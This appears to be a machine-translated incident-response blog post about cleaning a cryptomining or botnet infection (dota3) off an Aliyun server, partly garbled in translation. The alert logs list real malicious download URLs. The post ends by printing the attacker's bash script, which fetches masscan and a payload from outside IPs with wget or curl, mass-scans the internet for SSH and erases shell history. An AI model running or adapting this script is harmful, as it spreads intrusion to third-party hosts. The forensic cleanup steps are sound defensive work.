In the early morning, I received alert text messages from Ali cloud server.Emergency security incident: access malicious download source, access malicious download IP.Instant wake up, immediately get up to handle.
First log in to Aliyun backstage, check the security center's warning mascot, found several records:
Parent process path: /usr/bin/bash Parent process command line: SH-C. /tddwrt7s.shHttp://67.205.135.65/dota3.tar.gz" "http://91.121.51.120/dota3.tar.gz" "http://51.75.28.134/dota3.tar.gz" "http://159.203.17.176/dota3.tar.gz" "http://46.101.113.206/dota3.tar.gz" "http://104.131.189.116/dota3.tar.gz" "http://81.12.13.145/dota3.tar.gz" >.out 2>&1 3>&1
Parent Process id: 15912 //Process id:15913 //User name: user_web URL Links: http://91.121.51.120/dota3.tar.gz //Process Path: /usr/bin/bash //Command line parameters: /bin/bash. /tddwrt7s.shHttp://67.205.135.65/dota3.tar.gz( http://91.121.51.120/dota3.tar.gz http://51.75.28.134/dota3.tar.gz http://159.203.17.176/dota3.tar.gz http://46.101.113.206/dota3.tar.gz http://104.131.189.116/dota3.tar.gz http://81.12.13.145/dota3.tar.gz
Parent process path: /usr/bin/bash Parent process command line: -bash Parent process id:9071 Process id:9186 User name: user_web URL link:http://45.55.129.23/dota3.tar.gz Process Path: /usr/bin/wget Command line argument: WGetHttp://45.55.129.23/dota3.tar.gz
root account, log on to the server, troubleshoot problems.
Check if the server has a suspicious TCP port:
$ netstat -lnpt
No very useful ports were found.
According to the alert information, take the process id to find the corresponding process, none of them can be found.
I. Do a few things at once:
1. Modify user_web password (current server only has user_except root)Web authorization ssh login;
2. Modify the root password to prevent root from ssh login (user_can only be logged in first)Web, then cut to the root account;
3. Clear root, user_Ssh/authorized_under web directoryAll public keys in keys (all key logins are prohibited);
Then, step by step.
No corresponding process was found. See if there is a crontab. Execute it regularly. Exit the process after execution. The process id at the time of alert cannot be found.
2. Find crontab for all accounts of the server:
$ cat /etc/passwd | cut -f 1 -d : |xargs -I {} crontab -l -u {} ... no crontab for tcpdump no crontab for ntp no crontab for saslauth no crontab for mysql 5 8 * * 0 /home/user_web/.configrc/a/upd>/dev/null 2>&1 @reboot /home/user_web/.configrc/a/upd>/dev/null 2>&1 5 8 * * 0 /home/user_web/.configrc/b/sync>/dev/null 2>&1 @reboot /home/user_web/.configrc/b/sync>/dev/null 2>&1 0 0 */3 * * /tmp/.X25-unix/.rsync/c/aptitude>/dev/null 2>&1 no crontab for haproxy ...
Found crontab, script in user_web directory.
-Delete/home/user_nowHidden directories used and unknown by crontab under web/directory.
-Check to see if user_crontab from web account:
$ crontab -l -u user_web 5 8 * * 0 /home/user_web/.configrc/a/upd>/dev/null 2>&1 @reboot /home/user_web/.configrc/a/upd>/dev/null 2>&1 5 8 * * 0 /home/user_web/.configrc/b/sync>/dev/null 2>&1 @reboot /home/user_web/.configrc/b/sync>/dev/null 2>&1 0 0 */3 * * /tmp/.X25-unix/.rsync/c/aptitude>/dev/null 2>&1
user_web up.Clean up user_All crontab s under the web.
$ crontab -r -u user_web
3. Find if user_is still usedThe process in which the web account runs:
$ ps -ef | grep user_web user_web 25408 1 0 00:14 ? 00:00:00 /tmp/.X25-unix/.rsync/c/lib/64/tsm --library-path /tmp/.X25-unix/.rsync/c/lib/64/ /tmp/.X25-unix/.rsync/c/tsm64 -t 515 -f 1 -s 12 -S 10 -p 0 -d 1 p ip root 32695 30901 0 01:06 pts/1 00:00:00 grep --color=auto user_web
User_foundWeb execution process, path of script file, hidden file under / tmp / directory.
Kill the process first:
$ kill -9 25408
Enter directory:
$ cd /tmp/
Enter the directory to view all files, including hidden files:
$ ls -la
Remove hidden directories:
$ rm -rf .X25-unix
4. Find the sh script process again according to the process path/usr/bin/bash that appears in the alert:
$ ps -ef | grep sh user_web 3768 1 0 00:00 ? 00:00:00 /bin/bash ./go root 24487 1 0 Mar25 ? 01:53:25 /usr/sbin/sshd -D user_web 25403 25402 0 00:14 ? 00:00:00 /bin/bash ./tsm -t 515 -f 1 -s 12 -S 10 -p 0 -d 1 p ip root 30862 24487 0 01:37 ? 00:00:01 sshd: user_web [priv] user_web 30866 30862 0 01:37 ? 00:00:00 sshd: user_web@pts/1 user_web 30867 30866 0 01:37 pts/1 00:00:00 -bash root 30901 30896 0 01:38 pts/1 00:00:00 bash root 31799 30901 0 01:53 pts/1 00:00:00 grep --color=auto sh
Several more suspicious processes were found.View the process information, find the process execution path cwd, the corresponding execution command cmd:
$ ll /proc/25403
Find the process script path, kill the process, and delete the folder where the script file is located:
At this point, the cleaning is complete.
Follow-up: Enhance alerts for remote logins, enhance authentication for account logins, and add Google Authenticator deployments
Later, after a few days of observation, no warning information was received from Ali Yun.
Attach sh script source code, do not violate experiment, only for learning and research:
#!/bin/bash if [[ $(id -u) -ne 0 ]] ; then echo "Please run as root" ; exit 1 ; fi PR=1 PR=$(cat /proc/cpuinfo | grep model | grep name | wc -l) ARCH=`uname -m` if [[ "$ARCH" =~ ^arm ]]; then echo "Arm detected. Exiting" exit fi if [ $PR -gt 9 ]; then echo "Too many CPUs. Exiting" exit else echo "CPUs ok" #random sleep, for flood protection rm -rf masscan* rm -rf input.txt* RANGE=440 s=$RANDOM let "s %= $RANGE" sleep $s echo "test" #is it good for masscan? wget -q http://45.55.210.248/masscan || curl -s O -f http://104.236.72.182/masscan sleep 25m chmod 777 masscan timeout 20s nohup ./masscan -p 22 --banner --rate 50000 --exclude 255.255.255.255 --exclude 10.0.0.0/8 --exclude 192.168.0.0/16 --exclude 127.0.0.0/8 --range 1.0.0.0-223.255.255.255 > input.txt sleep 1m got=$(cat input.txt | grep OpenSSH | wc -l | awk -F: '{if($0>1)print$0}') rm -rf masscan* # if got > 1000; good for masscan; else exit if [ $got -lt 1000 ]; then echo "Bad for masscan. Exiting" rm -rf input.txt* exit else echo "Good for masscan. Executing" rm -rf input.txt* #all good pkill -9 screen pkill -9 mass pkill -9 scan apt install expect -y yum install expect -y sleep 5s rm -rf /.a cd / mkdir .a cd .a wget -q http://45.55.129.23/mas.tar.gz || curl -s O -f http://45.55.129.23/mas.tar.gz sleep 25m && tar xvf mas.tar.gz rm -rf mas.tar.gz cd mass2ip nohup ./mass.sh >>/dev/null 2>1& cd ~ rm -rf .bash_history history -c history -nc fi fi